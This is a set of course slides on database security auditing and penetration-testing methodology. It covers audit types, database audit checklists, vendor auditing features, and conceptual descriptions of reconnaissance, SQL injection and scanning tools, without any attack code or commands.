Module-05

Database Security Auditing &

testing
Security Auditing
• The term security audit refers to the procedures by which all of an
environment’s security controls and systems are thoroughly reviewed to
identify and report weaknesses within an organization.
• Security audits are meant to provide an accurate view of the organization’s
internal security controls and to initiate positive changes for identified weak
areas.
• Security audits focus specifically on the security of an environment, testing and
exploring each layer of security to identify potential existing risks or
weaknesses within security controls.
• They offer great insight into the effectiveness of an organization’s security
practices.
• Security audits are often the means by which companies begin to realize the
sheer vulnerability of their security efforts and are important security
measures in themselves.
Audit Classification
 Informal audits

Formal audits

Audit Internal audits

Classification
External audits

Automated audits
Audit Classification
• Informal audits—Conducted as a way to provide organizations evidence that their
security policies and practices are effective and working properly. Although
informal audits are most often conducted internally using a committee of the
organization’s own employees, some organizations hire third-party security
consultants to audit the network to obtain the most objective review.
• Formal audits—Most often conducted to satisfy specific industry standards that
are required by law for certain types of organizations. Formal audits utilize an
external group of individuals who are hired or employed by the government or
other standard setting groups for the purpose of conducting an audit. A hospital is
an example of an organization that would commonly conduct a formal audit. In a
hospital, security is bound by HIPAA, a privacy act that dictates which network
security standards must be in place and effectively practiced in network
environments that maintain and share sensitive medical records, so informal
audits are conducted regularly to ensure compliance with these standards.
Audit Classification
• Internal audits—Conducted using a committee of individuals who are
employees of the company itself. The committees are often composed of
individuals from an organization’s senior management team and advisory
board. Often informal, internal audits that are initiated from within the
organization are most likely done as a way to self-assess an organization, to
ensure that the company is meeting its auditing standards and complying with
its own policies. They can also be conducted in reaction to a certain incident or
intrusion, and are used as a way to determine the cause of the negative event.
• External audits—Conducted using a third-party group or a number of
individuals from a source outside the organization itself. Often formal, these
audits are usually conducted to satisfy a requirement or certify that a company
is complying with a certain group of standards or laws established by governing
bodies or financial institutions. These audits can also be requested by
governing bodies or financial institutions out of concern for noncompliance or
corrupt undertakings.
Audit Classification
• Automated audits—Conducted using tools that are either installed onto a
machine or embedded within an application for the purpose of recording the
typical behavior of a system. The recorded behavior is stored within some type
of system or application log. These logs are used to create administrative
reports that are analyzed to troubleshoot or validate the system’s behavior.
The Goal of Audit
The Goal of an Audit
• Identify the purpose of a security measure implemented within systems or
areas of an organization.
• Locate any risk on the network that might prevent security measures from
achieving this purpose.
• Search for some type of process or practice already in place to lessen the harm
that these identified risks can cause.
• Report any areas in which risks are identified and no process or policy is in
place to lessen the harm that these risks can have on the main purpose of a
given security measure.
The Goal of an Audit
• For example, let’s say that an auditor learns of a policy that forbids users from leaving their
desktops unattended and unlocked. The policy is put into place to lower the potential for
unauthorized access to the network. (1. Identify the purpose of a security measure
implemented within systems or areas of an organization.)
• The auditor finds that some employees leave their desk without locking their PCs,
disregarding the policy altogether. (2. Locate any risk on the network that might prevent
security measures from achieving this purpose.)
• The auditor waits to see if the desktop automatically locks after a certain period of inactivity.
(3. Search for some type of process or practice already in place to lessen the harm that these
identified risks can cause.)
• The PC does not lock automatically after 10 minutes of inactivity, so the auditor writes the
incident down for reporting. (4. Report any areas in which risks are identified and no process
or policy is in place to lessen the harm that these risks can have on the main purpose of a
given security measure.)
• As this example shows, the goal of auditing is not to fix issues on the network or to identify
security holes, but to ensure that processes are in place to deal with potential risks that may
exist and that the controls comply with these processes and policies.
The Audit Process
The Audit Process
• Planning and Preparation Phase
• The Audit Phase
• Reporting a Security Audit
The Audit Process
Planning and Preparation Phase
The Audit Process
Planning and Preparation Phase
• The first step in preparation for an audit is the planning and preparation stage. At this time,
the auditor is to determine exactly what systems, department, or component of the
organization will be included within the security audit.
• In planning for an audit, the organization will conduct a number of preliminary interviews to
ensure that an auditor is thoroughly informed about the network and business structure
itself.
• The tasks included in this phase are defining the audit scope, becoming familiar with the
organization or department for which the audit will take place, listing and prioritizing assets,
and identifying potential threats.
• Preparation for an audit will vary greatly from one organization to another, but, for the most
part, preparation is highly dependent on the reason for which the audit is taking place (e.g.,
formal or informal).
• The audit scope is the area or system on which the security audit will focus. Defining the
scope of the audit is one of the most important steps of the auditing process.
The Audit Process
Planning and Preparation Phase
• During this phase, the priority assets are identified and a conceptual perimeter of the
security audit is determined.
• Related and central assets are studied and classified as being either in or out of the
perimeter of the security audit.
• This phase requires the auditor to develop a strong understanding of the network
and organizational structure. Knowledge of the people, policies, systems, and
controls is a necessity that should include an understanding of the relationships and
correlations that exist among them.
• A list of assets must be made by reviewing inventories, table schemas, network
design plans, and organizational hierarchies. Both tangible (e.g., computers,
servers, printers, individuals) and intangible (e.g., data, e-mails, Web applications,
passwords) items should be included.
• Threats to these assets must be identified and considered, while prioritization is
handled using the results of a risk analysis combined with the objectives of the
management personnel.
The Audit Process
Planning and Preparation Phase
• Once the perimeter has been created and the assets prioritized within it, the
objectives of the audit can be clearly defined and a solid plan can be created. The
plans will likely include the logistical details as well as the information already
gathered. Information such as the date and time of the audit, the backup strategy,
and the effect the audit will have on daily operations should all be included.
• Because of the many layers (e.g., files, servers, applications, data) and techniques
(e.g., policies, firewalls, biometrics, encryption) involved in security, it is nearly
impossible to conduct a security audit on all areas of the network at the same time.
Therefore, to ensure that enough resources are available for the entire network,
several small security audits are scheduled for an organization at different times of
the year, each focusing on only one area of the environment.
• A common breakdown of areas of a security audit includes physical security,
operating systems, Web applications, Web server security, database server, policies
and procedures, central help desk, and network equipment security.
The Audit Process
Planning and Preparation Phase
• Often, rotating schedules are used in an attempt to ensure that all areas of the organization are audited over a
certain period of time.
The Audit Process
Planning and Preparation Phase
• Many insecure organizations fear that the outcome of an audit—if too many weaknesses are
found—will result in negative consequences or severe penalties (which may certainly be true in
cases where privacy laws are broken) for the organization.
• These are often organizations that are insecure about the way they create, maintain, and enforce
effective internal controls.
• They tend to overprepare by spending weeks prior to the audit conducting quick but vast cleanup
efforts across the company in an attempt to hide or minimize weaknesses that may be found.
• Some companies even go as far as forging documents and bribing employees to get rid of any
evidence of inconsistency. It is an unfortunate reality, but one that is important to be aware of.
• This type of behavior will skew the audit results by providing an inaccurate view of the typical
environment, leaving no room for real growth.
• Audits are meant to provide an accurate view of the organization’s internal controls and
to initiate positive changes of identified weaknesses. To achieve the highest accuracy
through an audit, the auditing process itself must be standardized and little to no
preemptive preparation should be made within the environment.
The Audit Process
The Audit Phase
• At this point, perimeters have been identified and objectives are well
understood, so the detailed security audit plan is put into action. This phase
involves activities that help the auditor analyze the environment for potential
vulnerabilities.
• As risks or concerns are identified, they are validated using the business
policies and specifications gathered in the planning stage, and are also
verified by asking customers to explain issues as they are found.
• This phase takes the most time in an auditing process. The activities involved
in the actual audit depend on a great number of factors, including the type of
audit, the audit scope, and the organization.
• Obviously, an audit that is meant to review the internal controls of physical
security will involve much different activities than one that is intended to audit
internal administration of a database management system (DBMS).
The Audit Process
The Audit Phase
The Audit Process
Reporting a Security Audit
• The final step of the security auditing process is a debriefing meeting in which the
auditor or committee of auditors communicate verbally and in writing the results of
the audit.
• This communication usually involves the company’s owners, senior managers, and
other major stakeholders. It provides a detailed view of the organization’s internal
security controls, including vulnerabilities and risks and, in some cases, the
strengths are defined as well.
• The format of the written report is dependent on the classification of the audit (e.g.,
informal, formal, internal, external, automated) as well as the individual auditors or
auditing committee.
• Although the format and content will vary, some important commonalities are found
within all audit reports. These common components include the background
information, the defined perimeter and scope, the objective of the audit, the key
findings, the methodology used to identify the risks, and the remediation
recommendations.
The Audit Process
Reporting a Security Audit
• The auditor or auditing committee’s recommendations are typically followed by a
specific set of remediation actions.
• If the review was that of a formal audit or external audit, all remediation actions are
defined by a set of expected deliverables. The time frame for the submission of
these deliverables is set forth and is required for the organization to become
compliant.
• If the review was that of an informal audit or internal audit, all remediation actions
need to be tracked internally and the deadlines for deliverables must be met for the
audit process to be completed and senior management to be informed of
compliancy.
• In some cases, reports provide recommendations with no remediation actions or
requirements.
Database Auditing
Database Auditing
• In reality, database auditing takes a great deal of time, effort, and resources, and is not
conducted as often as is necessary.
• Database audits must be conducted frequently and thoroughly to contribute to an
environment’s security measures.
• Intruders are sophisticated and their knowledge grows each day; so even under the best of
circumstances with best practices put into place, there is no guarantee that an audit will
keep a database environment secure.
Database Auditing
Preparation and Planning for Database Security Audit
Database Auditing
Preparation and Planning for Database Security Audit
• The preparing and planning stage is the time the auditor takes to get to know the system
and the environment. It is at this stage that the audit scope and work perimeter are
identified for the area in which the audit will take place.
• Few considerations specific to database environments must be addressed during this stage.
• Preparing for a database security audit requires the auditor to gather as much information
about the database environment as possible to define the specific perimeter.
• A perimeter should address all layers of a database environment. It should include detailed
information about the people, data, technology, and documents that will play a role within a
particular audit. Figure on the last slide provides examples of each of these layers of the
environment.
Database Auditing
Preparation and Planning for Database Security Audit
• Gathering information involves interviews with the database administrator (DBA) and the
database system team as well as an examination of the database schemas, network
diagrams, and database-related policies and procedures.
• Organizations often contain several database management systems, so a decision as to how
many systems will be audited must be made with purposeful intent.
• An understanding of the functionality, purpose, and structure of all database management
systems must also be obtained in this stage to conduct an effective and comprehensive
audit.
• Information such as the vendor of the database or the operating system on which the
database resides is important, as well as knowledge of the backup strategy that is being
implemented.
• An analysis of the data and how it is stored within the database must be examined and
coupled with the organizational hierarchy so as to build an understanding of the relationship
between the individuals within the organization and their data storage and manipulation
needs.
Database Auditing
Preparation and Planning for Database Security Audit
• Risk and threat analysis is another important aspect of planning for a database audit, as it helps to define a
prioritized checklist of activities that can be developed as a starting point for the DBMS audit.
• Many components of a network interact and communicate with a database. This is especially the case within
an environment where the database is accessed remotely or from the Web because many more components
are involved in the data-retrieval process. Therefore, to ensure that all measures have been taken to secure
the database and that all risks are considered, the entire database infrastructure should be considered any
time a security audit is conducted within a database environment.
• A thorough audit can be conducted on a database, ensuring that proper security controls are in place for that
management system, yet if a Web application that communicates with this database has not been audited, a
potential SQL injection risk remains.
• Database audits can be done in one of two ways. An auditor can choose to focus initially on the database
supporting components (e.g., Web applications, Web servers, middleware, scripting pages) before moving on
to the database itself, or the audit can begin at the database and work through the other components
thereafter.
Database Auditing
Database Audit
• Due to the sheer size of a database environment and resources that are required to
complete a database audit, they are often conducted in small pieces, focusing on specific
functionality or areas of concentration.
• These different areas of concentration can include
➢Server maintenance,
➢Account administration,
➢Access control
➢Data privileges,
➢Passwords,
➢Encryption,
➢Activity
Database Auditing
Database Audit
➢Server maintenance
• Server Maintenance Measures should be taken to ensure that servers are being maintained
appropriately and policies exist that standardize the maintenance of the database server.
• Auditing server maintenance includes the review of software updates, backup strategies,
application version control, resource management, and hardware updates.
• Following is a list of audit check examples:
● The latest security patches are applied.
● The latest DBMS critical updates have been applied.
● The current version of the DBMS is supported.
● A procedure exists for maintaining patches and software versions.
● An appropriate backup policy exists that includes disaster recovery.
● A feasible and appropriate backup schedule exists.
● A procedure exists to test the integrity of backups.
Database Auditing
Database Audit
➢Account administration
• Account administration is a vital component to database security. The way user accounts are
handled is important to access and privilege controls. Auditing account administration
includes a review of how the administrator is defining and creating user accounts; removing
user accounts; applying security policies; and assigning groups, roles, and privileges.
• Some sample audit checks include the following:
● Roles for administrators are clearly defined.
● Administrative accounts are distributed appropriately.
● Inactive or unneeded user accounts are removed.
● Generic accounts are not utilized.
● Default accounts are disabled or removed.
● Application object owner accounts are disabled.
● The backup’s integrity is tested.
Database Auditing
Database Audit
➢Access control
• Access control is the act of minimizing, handling, and detecting user access to the database
and its resources. Appropriate access control is essential to ensure the confidentiality,
integrity, and availability of the DBMS.
• Auditing access control is very time consuming and can require the logging of access to the
database over a period of time.
• Some sample audit checks include the following:
● Only trusted IP addresses can access the database.
● Sensitive data is accessed only by those who require it.
● Database links are appropriate.
● Linked databases have applied the appropriate access controls.
● Administrators are not able to make changes to the database remotely without special
authentication.
● Access to backups and disaster recovery are restricted to administrators only.
Database Auditing
Database Audit
➢Data privileges
• Monitoring privileges very closely to ensure security and granularity is a must. Ensuring the
appropriateness of privileges during an audit is the most time-consuming task that often
requires quite a bit of collaboration with the network administrator.
• Some sample audit checks include the following:
● PUBLIC is revoked from the system.
● Implicit granting of privileges is carefully considered.
● The principle of least privilege is utilized.
● Account privileges within the underlying operating system are restricted.
● Privileges are granted using groups rather than individuals.
● Privileges to stored procedures are restricted.
Database Auditing
Database Audit
➢Passwords
• Strong passwords are critical in a secure environment, as they are the first line of defense
that intruders will encounter. Most database management systems can be configured to
ensure that passwords meet a specific policy automatically to ensure the strength of the
password.
• Auditing password management involves the review of a written policy, the server
configuration, and default user accounts.
• Some sample audit checks include the following:
● Password management capabilities are enabled within the DBMS.
● The password policy includes specifications for failed logins, aging, complexity,
history, expiration, and content.
● Default passwords have been changed.
● Passwords are not stored within the database if possible.
● Passwords are encrypted using strong encryption if stored in the database.
Database Auditing
Database Audit
➢Activity
• Auditing activity automatically and between larger security audits is a best practice
technique to keeping the database secure. Much information can be discovered using
embedded monitoring tools and even logs.
• In fact, auditing the activity of the database is the means by which much of the information
in this section can be identified by an auditor during the database security audit itself.
• Sample audit checks include the following:
● Auditing has been configured on the server in a way that coincides with the
security policy.
● Failed logins are being monitored.
● Failed queries are being monitored.
● Changes to the metadata are being monitored.
● The dynamic SQL that is being executed within a stored procedure is being validated.
● Resource consumption baselines have been set and alerts are being monitored.
Database Auditing
Database Audit
• Due to the sheer size of a database environment and resources that are required to
complete a database audit, they are often conducted in small pieces, focusing on specific
functionality or areas of concentration.
• These different areas of concentration can include
➢Server maintenance,
➢Account administration,
➢Access control
➢Data privileges,
➢Passwords,
➢Encryption,
➢Activity
Database Auditing
Reporting a Database Security Audit
• The final step of the security auditing process is a debriefing meeting in which the auditor or
committee of auditors communicates verbally and in writing the results of the audit. This
communication usually involves the company’s owners, senior managers, and other major
stakeholders.
• It provides a detailed view of the organization’s internal security controls, including
vulnerabilities and risks and, in some cases, the strengths are defined as well.
• The format of the written report is dependent on the classification of the audit (e.g., informal,
formal, internal, external, automated) as well as the individual auditors or auditing committee.
• Although the format and content will vary, some important commonalities are found within all
audit reports.
• The common components include the background information, the defined perimeter and
scope, the objective of the audit, the key findings, the methodology used to identify the risks,
and the remediation recommendations.
• The auditor or auditing committee’s recommendations are typically followed by a specific set of
remediation actions.
Database Auditing
Reporting a Database Security Audit
• If the review was that of a formal audit or external audit, all remediation actions are defined
by a set of expected deliverables. The time frame for the submission of these deliverables is
set forth and is required for the organization to become compliant.
• If the review was that of an informal audit or internal audit, all remediation actions need to
be tracked internally and the deadlines for deliverables must be met for the audit process to
be completed and senior management to be informed of compliancy.
• In some cases, reports provide recommendations with no remediation actions or
requirements.
Database Auditing
Vendor-Specific Auditing Information
• Most types of databases contain their own unique automatic functions or tools for aiding in
the process of auditing database and user activity. These tools often require some type of
configuration, but once set up, they can offer great value to the auditing process, saving
both time and effort.
➢Microsoft SQL Server
➢Oracle
➢MySQL
Database Auditing
Vendor-Specific Auditing Information
➢Microsoft SQL Server
• Microsoft SQL Server enables the tracking and logging of activities throughout all levels of the
database. Several features are available that allow administrators to create an auditing trail that best
fits their needs.
• Auditing can be created at the server level or the database level. The recorded activity can be sent to
a target file, or to event logs within Windows that the creator of the audit can specify. Audits can be
enabled, reviewed, and created using the Object explorer in the SQL Server Management Studio.
• On this page, the administrator can choose one of two paths, depending on which audit records are
desired. These are Security/Audit/Server Audit Specification and Database/Database Name/
Security/Database Audit Specification.
• To create audits in Microsoft SQL Server, an administrator must first create a server audit object to
record the server or database level actions (or groups of actions) that are desired.
• These are created at the instance level and more than one audit can be created for each instance.
The next step is to create a specification object that will belong to either the server audit object or
the database audit object previously created.
Database Auditing
Vendor-Specific Auditing Information
➢Microsoft SQL Server
• Database-level auditing provides an administrator with the ability to create custom audits to be
defined for any given action (e.g., SELECT, UPDATE, INSERT, DELETE, EXECUTE) on the database or a
database object (e.g., tables, views, functions, procedures).
• Server-level auditing can be defined to record actions performed on the server itself and includes
login information, password changes, backups, server role changes, maintenance procedures,
schema changes, and permission adjustments.
Database Auditing
Vendor-Specific Auditing Information
➢Oracle
• Oracle provides several ways to audit the database both manually and automatically, yet the configuration for
these embedded tools can be quite complex in their setup.
• Three basic levels of auditing are available: database, application, and external.
• Ideally, auditing would be configured at each level to ensure the most comprehensive audit trail, yet resources
are not always available. To achieve the best auditing results, both application- and database-level auditing
should be configured.
• Application-level auditing provides information about changes made by a specific user session; therefore,
application-level auditing monitors sessions.
• Database-level auditing provides information about changes made to a specific database object; therefore,
database-level auditing monitors databases. Together, they essentially inform auditors what is changed and by
whom it has been changed. Therefore, both must be applied for a comprehensive picture of the activities on a
database.
• The most basic step in beginning the auditing process within an Oracle Database is enabling the default
security settings. This can be done within the Security Settings window found in the Database Configuration
Assistant (DBCA).
Database Auditing
Vendor-Specific Auditing Information
➢Oracle
Enabling this setting will begin the default auditing procedures that include the following:
● Statements that use the ALTER function on procedures, tables, databases, profiles,
systems, and users
● Statements that use the CREATE function on libraries, procedures, tables, jobs,
database links, public database links, sessions, and users
● Statements that use the DROP function on procedures, tables, profiles, and users
● Statements that use the GRANT function on privileges, roles, and object privileges
● AUDIT SYSTEM statements
● EXEMPT ACCESS POLICY statements
Database Auditing
Vendor-Specific Auditing Information
➢Oracle
• The default security settings will also enable the audit_trail function, which allows granular
administration of systemwide auditing at both application and database layers.
• There are essentially four options for setting the parameter for the audit_trail function.
• These options determine whether database auditing is enabled and identify where the audit
records will reside.
• List of the options for the audit_trail function are as follows:
● None—Disables auditing altogether.
● DB—Enables auditing and sends the log to the database SYS.AUD$ table. This is the
default setting chosen when Security Settings is enabled.
● OS—Enables auditing and sends the log to the operating system.
● XML—Enables auditing and sends the log to an XML operating system file.
Database Auditing
Vendor-Specific Auditing Information
➢Oracle
Database Auditing
Vendor-Specific Auditing Information
➢MySQL
• At the time of this writing, MySQL has no built-in tools available to aid in the auditing
process.
• The auditing process within MySQL involves the manual exploration of logs and objects,
following the general database security auditing guidelines
• Third-party automated tools can be found online to aid in the process of auditing a MySQL
database.
Security Testing
Security Testing
• Security testing refers to the process of identifying the feasibility and impact of an attack or
intrusion of a system by simulating active exploitation and executing potential attacks within
that environment. It offers a way to actively evaluate the security measures implemented
within an environment in terms of strength and loss potential by focusing primarily on the
actual security measures implemented (e.g., hardware, software). It is conducted from an
attacker’s perspective and is typically outsourced to a third-party organization or application
developed specifically for testing weaknesses of a system.
• Security audits, on the other hand, are conducted to locate potential weaknesses found
within the company’s internal controls. Security audits are different from security testing in
that they include areas such as security policies, human resource information, and legal or
standards compliance, areas security testing does not cover.
• Auditing compares the documentation with the architecture to ensure accuracy and
reliability of an environment, whereas security testing measures the strength and
effectiveness of the environment.
• Auditing also requires a great deal of knowledge about the infrastructure to be completed,
whereas security testing can be conducted with no prior knowledge at all.
Security Testing
• Although both security auditing and security testing are laborious and resource intensive,
penetration testing is more costly and time consuming. Therefore, security tests are better
suited for evaluating the security on a small group of assets, such as when broken down
departmentally.
• They become too impractical if the goal is to test an entire architecture complete with hundreds
of systems; when compared with audits, given this scenario, they provide less information at a
much higher cost.
• Security testing provides a more accurate picture of the strength of architecture, but because of
lack of resources, testing is often conducted with a very narrow scope defined.
• Characteristics required for a security tester are very similar to those needed for a security
auditor.
• The main difference is that a security tester must have the ability to think and act like a
potential intruder. Often, security testing focuses on a specific well-known attack (e.g., spoofing
an account) and lacks a strong understanding of the steps that an attacker might take to achieve
a goal, which makes effective testing virtually impossible.
• Effective security testers understand how attackers think and behave. They are armed with a
toolbox full of ideas for ways to break a system, and they are creative in their attack attempts.
Security Testing Classification
Security Testing Classification
• Understand the behavior and mind-set of a potential attacker to effectively test the security
of a network. Therefore, successful security testing in a database environment is conducted
from the attacker’s perspective and is categorized in terms of the viewpoint from which it is
conducted.
• We most often think of an attacker as an external force whose primary goal is to break into a
network or a database environment, but, as mentioned earlier in the book, intruders can
exist internally as well.
• Internal users are just as dangerous, if not more dangerous, than those unauthorized
external ones. Therefore, to be successful, testing that is conducted from the attacker’s
perspective must include both internal and external vantage points.
• Internal Testing
• External Testing
• Black Box Testing
• White Box Testing
Security Testing Classification
Internal testing
• Internal testing is conducted within the organization’s security border.
• This type of testing will display vulnerabilities that exist among internal users such as
employees and contractors.
• Testing will identify attacks and the damage that can be caused within the database
environment itself.
• A task conducted during an internal security assessment might include an evaluator who
logs in to a user’s computer in an attempt to extend his or her privileges on a particular
database system.
External testing
• External testing is conducted outside the organization’s network security border. This type of
testing will display attacks and liabilities that can be exploited externally from competitors,
remote users, and hackers.
• Initial tasks most commonly completed during external testing outside a database environment
primarily involve information gathering—because an intruder must gain information about an
infrastructure to break into it. A security consultant who attempts to use SQL injections to
gather information about an environment using external Web forms and Web applications is an
example of someone conducting external security tests within a database environment.
Security Testing Classification
Black box testing
• Black box testing is conducted with no prior knowledge of the system or infrastructure that
is being tested. This testing is most often conducted externally because external intruders do
not typically have prior knowledge of the existing infrastructure.
• Black box testing can also be seen as a type of exploratory testing. There is not one specific
focus and not all systems will be tested.
• A black box test often weighs heavily on gathering information because the ability to gather
information is what provides external intruders a way into the system.
• Because of this, the test identifies the most fundamental weaknesses of an infrastructure.
• Overall, this test will determine just how far external users can get into the system without
prior knowledge.
• SQL injections, more specifically, blind loop statements used in SQL injections, are most
often used to obtain information through black box testing.
Security Testing Classification
White box testing
• White box testing (target testing) is conducted by an intruder who already has existing information
about the system or the infrastructure. It is also known as targeted testing because prior knowledge
exists and known weaknesses within the infrastructure allow intruders to focus on specific areas of
the infrastructure.
• The goal is to assess the damage that can be done by those users who understand the infrastructure
they are attempting to intrude; the results will provide a more comprehensive, thorough picture of
specific system weakness than that found in black box testing.
• White box testing is most often associated with internal testing. The assumption is that internal users
will most likely have some knowledge of the infrastructure, yet white box testing can be conducted
internally or externally.
• Consider the external intruder who obtains information by using blind SQL injections. This intruder
has obtained information about the system and can now target an individual database, or table
within a database, based on the information he or she has obtained.
• Another example of someone who might have information about a database system and might
attempt to intrude is a disgruntled former employee. These individuals have information about the
environment from their work history and can use this information to aid their efforts to access a
system.
Goal of Security Testing
• The general goal of a security assessment within any environment is to test the strength of security
measures put into place.
• A security assessment can be conducted to test database security measures both broad and narrow.
It can be used to test an intruder’s potential for breaking into the environment or to test the
appropriateness of the privilege assignment within a particular database.
• Therefore, the goals of a security test vary and depend on both the type of test conducted (e.g., black
box, external, white box, internal) as well as the scale for which the testing takes place. For example,
external black box tests are often not focused on one particular area of the network because little is
known about the environment, so the goal of these tests is typically to determine how deeply an
intruder can obtain access.
• In contrast, internal or white box testing involves a specific target within the database environment, so
the goals are likely to be further defined. A security tester may assess the security measure’s ability to
block intruders from obtaining administrative rights to a mission-critical database.
• Other common testing goals within a database environment include the ability to block access to the
physical location of the database; retrieve stored, confidential information; use SQL injection to
exploit; escalate privileges within the database; deny users access to their tables and records; destroy
applications or files; and evade an intrusion-detection system.
Testing Methodology
Testing Methodology
• The security testing process, even in its narrowest form, can be a painstakingly time-
and resource-intensive process.
• An unstructured approach to security testing is very ineffective and can result in
wasted resources. Knowing this, even attackers do not conduct their attacks in a
haphazard fashion.
• Having a clearly defined, well-thought-out standardized testing methodology allows
an assessor to do the following:
➢Address resource constraints through prioritization.
➢Decrease the time required for an assessment by avoiding redundancy.
➢Create an improved picture of security strength using enforced consistent testing.
➢Communicate recommendations more efficiently by utilizing standardized
reports.
• Therefore, a structured and methodical approach is greatly beneficial to any
organization.
Testing Methodology
• Planning and Preparation Phase ➢Exploiting Network Hardware
➢Defining the Scope ➢Exploiting the Operating System
➢Gathering Information ➢Exploiting Web Applications
• Execution Phase ➢Escalating Privileges
➢Information Reconnaissance/Inspection • Reporting Phase
✓Passive reconnaissance
✓Active reconnaissance
➢Obtaining Access
➢The Use of Automated Tools
✓Network port scanners
✓Password scanners
✓Network sniffers
✓Wireless scanners
✓Wired Equivalent Privacy (WEP)
crackers
Testing Methodology
Planning and Preparation Phase
• In this phase of the security assessment methodology, the assessor defines a scope,
gathers information about potential weak areas of the network, identifies potential
attacks, classifies and prioritizes assets, specifies objectives and goals, and lists
resources required.
➢Defining the Scope
• The security scope defines the perimeter of the overall security assessment, the
physical and logical area included within the assessment.
• Areas for security testing can be defined as a group of systems or applications
(e.g., database servers), a department within the organization (e.g., Finance), an
attack strategy (e.g., injections), and, in some cases such as those scenarios that
include white box testing, the level of access achieved (e.g., privileges
escalated).
Testing Methodology
Planning and Preparation Phase
➢Defining the Scope
• Due to the resource-intensive nature of security testing, the scope of a security assessment is often
narrow in size. Therefore, in scenarios that include white-box-type assessments, defining the
perimeter of the scope is a pretty straightforward process.
• The goal of a particular security test is the primary factor used for defining the area and tasks included
within the assessment.
• The white-box-type assessments provide the assessor with information about the infrastructure prior
to testing, so the infrastructure can be used to determine those things that should be included within
the scope. For example, if the goal is to ensure that privileges cannot be escalated by unauthorized
users on the database servers, then the infrastructure can be analyzed and all hardware, software,
and related tasks that the assessor needs to utilize in testing would be included within the scope.
• All other hardware, software, and unrelated tasks would be considered out of scope.
• Defining the scope in a black-box-type assessment scenario is much more difficult. Because little to
no information is given to the assessor prior to the test, the perimeter cannot be defined in terms of
the locations of the systems within the infrastructure unless the target system is completely isolated
from the rest of the network.
Testing Methodology
Planning and Preparation Phase
➢Defining the Scope
• In these situations, scopes are often defined by analyzing the level of access
achieved by the attacker necessary to achieve the goal of the assessment. Potential
intrusions are analyzed prior to testing and a determination is made as to how much
information would need to be obtained to access different levels of the infrastructure
and subsequently achieve the assessment goal.
• The scope boundary is then defined in terms of the assessor’s ability to reach this
specific depth within the environment.
• For example, consider a scenario in which an exploratory black box test is
planned within an environment where the goal is to ensure that database privileges
cannot be obtained by unauthorized external users. Prior to the test, no information
is given, so the scope perimeter is much broader and is defined as the point at which
the assessor either cannot access any more information or has obtained the
escalated privileges. Having information about the infrastructure prior to testing
poses a great advantage to defining the scope perimeter.
Testing Methodology
Planning and Preparation Phase
➢Defining the Scope
• Other tasks involved in developing a scope for a security assessment include
defining a contract or service-level agreement, conducting a threat assessment,
scheduling an assessment, and listing the resources needed to complete the
assessment.
➢Gathering Information
• There are two types of information gathering: that which is done prior to the
assessment as a way to prioritize and identify goals and that which is done during
the assessment as a way to identify information leaks within the infrastructure.
Information gathering that occurs during assessment is also known as information
reconnaissance.
• Information that should be obtained prior to the database security assessment
includes the following:
• ● Infrastructure information found in network diagrams and database schematics
• ● A prioritized set of data storage server and information assets
Testing Methodology
Planning and Preparation Phase
➢Gathering Information
Information that should be obtained prior to the database security assessment
includes the following:
● Infrastructure information found in network diagrams and database schematics
● A prioritized set of data storage server and information assets
● Weak areas of the database infrastructure, those areas lacking sufficient defense
● Areas that have the highest potential for an attack (sensitive data)
● Areas that can offer entry points for intruders
● Potential attack strategies based on infrastructure or recent and past trends of
intruders
Testing Methodology
Planning and Preparation Phase
➢Gathering Information
• This information can have a big impact on the assessment. Depending on what
information is obtained, this gathering process can change the original course of
direction for the assessment, help to prioritize assessments, and dictate the goals of
the security assessment.
• Keep in mind that this information is only provided in a white box scenario; black box
scenarios do not offer any information prior to testing.
• Much of the preassessment information gathering can be done with the help of
network tools available throughout the industry. For example, port and vulnerability
scanning tools can be utilized to identify open areas of the network, patch
configuration levels, and patch known bugs for system versions.
• Surveillance cameras can also be used to identify weaknesses in the physical
security of the network.
Testing Methodology
Execution Phase
• In this phase, the actual database security assessment is conducted. The tasks
completed here are dependent on a great number of factors, including the area
tested. the type of test being conducted, the scope of the test, and the priority of a
particular test.
• For instance, an external test that is conducted on the mission-critical database is
going to be quite different from an internal test that is conducted on the privileges of
users.
Testing Methodology
Execution Phase
➢Information Reconnaissance
• The complex nature of today’s network structures works as an advantage toward the
efforts of keeping our environments secure. Intrusion would require much less time
and energy were the environments less varied and multifaceted.
• The first step in obtaining access from any infrastructure is information gathering.
• Unfortunately for administrators, finding information is much easier than hiding it.
With remote access becoming more necessary, and intrusion aid tools increasing by
the minute, no system infrastructures are completely hidden from the outside world.
• Given enough time and resources, some information can be discovered either
directly or indirectly from any existing system or infrastructure. The greatest security
defense is time. Security measures that are built strongly enough to keep intruders
busy for long periods of time are more likely to thwart those who are looking for a
quick avenue, and the longer an intruder attempts to access the system, the better
chance there is that security logs will capture their presence.
Testing Methodology
Execution Phase
➢Information Reconnaissance Types
Passive reconnaissance
• Passive reconnaissance involves the use of passive investigation methods to gather information
about a system or an infrastructure indirectly.
• An example of a passive reconnaissance attack is a user who utilizes tools such as a network sniffer
to obtain information about a system or network infrastructure.
• A network sniffer is a utility that monitors and captures network activity, enabling the owner of the
utility to gain an understanding of the amount, frequency, and type of communication occurring on a
network. A network sniffer combined with a bit of expertise provides a great tool for gathering
information about a network environment, including things like the type of applications that are
running and a general idea of the number of users within a network.
• Database and SQL sniffers exist that are intended to help database administrators and developers
monitor their own database systems. These tools can provide unauthorized individuals the means by
which to obtain information from the database without ever having to directly communicate with it.
• Information gathered through passive reconnaissance is not necessarily directly applicable, but it
provides information that will eventually lead toward more active information-gathering methodology.
Testing Methodology
Execution Phase
➢Information Reconnaissance Types
Active reconnaissance
• Active reconnaissance involves the use of active investigation methods to gather information about a
system or an infrastructure directly.
• An example of an active reconnaissance attack is a user who sends SQL injections to a system in
hopes of generating some type of error or system response to use to make inferences about the
system or environment.
• Automated tools are also available that will send pings and packets to systems to initiate a response.
Many of these tools will also make determinations based on system responses they receive, providing
data to the user, such as the current operating system, the services running, the firewall, the
applications, or the topology of an infrastructure.
Testing Methodology
Execution Phase
➢Obtaining Access
• Common initial milestone in the security assessment process is obtaining access
into a system infrastructure.
• The way this milestone is achieved will depend on system responses as well as the
goals of the security assessment.
• Several different entrance doors provide access into a network; from the physical
server to the wireless network, an opportunity for penetration exists within each.
Testing Methodology
Execution Phase
➢Use of Automated Tools
• Several automated tools have been developed to defeat network security measures.
These tools contain features that enable their owners to capture data transmitted
during transit, to crack passwords, and to find vulnerabilities within an infrastructure.
• Many of these tools also have the capability to identify software, hardware, and
network devices found within the infrastructure and some go as far as providing a
map of the overall topology of a network.
✓Network port scanners
✓Password scanners
✓Network sniffers
